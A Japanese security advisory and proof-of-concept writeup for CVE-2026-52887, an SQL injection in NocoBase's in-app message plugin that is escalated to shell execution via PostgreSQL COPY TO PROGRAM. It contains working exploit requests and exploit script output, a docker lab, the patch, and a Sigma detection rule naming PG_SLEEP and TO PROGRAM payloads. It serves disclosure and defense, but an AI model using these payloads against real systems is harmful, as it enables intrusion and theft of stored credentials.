
CVE-2026-52887 — NocoBase SQLインジェクション -> PostgreSQLスーパーユーザーRCE(myInAppChannels:listフィルタ、CVSS 10.0)。作者PoC + ソース解析 + dockerラボ。
NocoBase の @nocobase/plugin-notification-in-app-message (≤ 2.0.60) が提供する myInAppChannels:list アクションにSQLインジェクションが存在します。filter[latestMsgReceiveTimestamp][$lt] リクエストパラメータは、エスケープやバインドが行われずに生の Sequelize.literal() SQL文字列へ直接挿入されます。PostgreSQLの pg ドライバがサポートするスタックドステートメントを介して、このインジェクションは COPY … TO PROGRAM に到達します。さらにベンダーのデフォルトcomposeは nocobase DBロールをスーパーユーザーとして作成するため、postgres OSユーザーとしてシェルコマンドを実行できます。このエンドポイントはログインユーザーを必要としますが、デフォルトのauth-basicプラグインにはセルフサインアップが有効な状態で同梱されているため、匿名の訪問者なら誰でも登録して到達できます。
| CVE | CVE-2026-52887 |
| 製品 | NocoBase (@nocobase/plugin-notification-in-app-message) |
| 影響を受けるバージョン | ≤ 2.0.60 (nocobase/nocobase:2.0.57 で検証済み) |
| 修正バージョン | 2.0.61 |
| 分類 | SQLインジェクション (CWE-89) → OSコマンド実行 |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| 認証 | 実質的に未認証 — デフォルトのauth-basicでは allowSignUp: true |
| ステータス | 脆弱性を確認済み — 2.0.57でエンドツーエンド検証済み |
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts の myInAppChannels:list ハンドラ (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt はリクエストクエリ (filter[latestMsgReceiveTimestamp][$lt]=…) からそのまま取得され、Sequelize.literal() に連結されます — パラメータバインドも型変換もない生のSQLです。攻撃者は比較を閉じて任意のSQLを追加できます。
pg ドライバ経由でPostgreSQL上で動作しており、スタックドステートメント (… ; …) が許可されます。注入された断片は2つ目のステートメントを追加します。docker-compose.yml は、postgresイメージの POSTGRES_USER を使用して nocobase ロールを作成しますが、これは常にスーパーユーザーです。COPY (…) TO PROGRAM '<shell>' を実行でき、DBコンテナ内でpostgres OSユーザーとして <shell> を実行します。myInAppChannels のACLは loggedIn ですが、デフォルトの auth-basic プラグインには allowSignUp: true が同梱されています。匿名の攻撃者はセルフ登録 (POST /api/auth:signUp?authenticator=basic) してサインインし、ベアラートークンを取得して続行します — したがって、デフォルトインストールでは実質的に未認証です。
defineMyInAppChannels.ts に parseLatestMsgReceiveTimestampLt() が追加されました。これは値を Number() に強制変換し (非有限・非数値の入力は400で拒否)、バインドされた比較に切り替えます:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
生のHTTPチェーン:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd は任意のシェルコマンドを受け付けます (リバースシェル、OASTコールバック、COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' によるDB行の読み出しなど)。
このホストにはdockerブリッジがないため、両コンテナをホストネットワークで実行します:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
修正版の境界 (拒否されます):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
取得したトランスクリプトは EVIDENCE.txt を、ソースレベルのウォークスルーは ANALYSIS.md を参照してください。
nocobase/nocobase:2.0.57 で脆弱性を確認済み。2つの独立した手法で検証しています:
PG_SLEEP(5) ペイロードはレスポンスを約5.0秒遅延させますが、スリープを含まない同一リクエストは同じエンドポイントで約0.03秒で返ります (レートリミッターや再試行による人為的影響を除外)。uid=999(postgres) gid=999(postgres) が含まれています。これはpostgres OSユーザーとして実行された id(1) の実際の出力であり、ペイロードのエコーではありません。nocobase/nocobase:2.0.61 では修正済み — 両方のペイロードはHTTP 400を返しますが、数値の $lt は依然として200を返します。
データベースコンテナ内でpostgres OSユーザーとしてリモートコード実行が可能です: NocoBaseデータベースの完全な読み書き、保存されたすべてのシークレットとユーザー資格情報の漏えい、さらに横展開の足がかりとなります。デフォルトインストールでは任意の匿名訪問者が到達できます。
COPY … TO PROGRAM プリミティブを排除)。allowSignUp: false)。filter[latestMsgReceiveTimestamp][$lt] の値が単純な数値でない myInAppChannels:list リクエスト、および COPY … TO PROGRAM を含むPostgreSQLログ:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (Webサーバーアクセスログ):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).